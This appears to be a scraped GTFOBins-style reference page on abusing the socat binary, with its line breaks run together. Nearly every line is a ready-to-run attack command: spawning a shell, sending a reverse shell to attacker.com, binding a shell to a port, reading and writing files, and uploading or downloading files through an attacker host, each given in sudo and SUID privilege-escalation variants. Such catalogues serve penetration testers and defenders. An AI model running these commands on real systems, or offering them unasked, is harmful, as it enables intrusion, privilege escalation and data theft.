socat
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
socat - exec:/bin/sh,pty,ctty,raw,echo=0This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat - exec:/bin/sh,pty,ctty,raw,echo=0This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,saneThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,saneThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
Bind shell
This executable can bind a system shell to a local port waiting for an attacker to connect.
- This function can be performed by any unprivileged user.
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,saneThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,saneThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
socat -u 'exec:echo DATA' open:/path/to/output-file,creatThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat -u 'exec:echo DATA' open:/path/to/output-file,creatThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat -u 'exec:echo DATA' open:/path/to/output-file,creat
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
socat -u file:/path/to/input-file -This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat -u file:/path/to/input-file -This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat -u file:/path/to/input-file -
Upload
This executable can upload local data.
- This function can be performed by any unprivileged user.
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat -u file:/path/to/input-file tcp-connect:attacker.com:12345This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creatThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat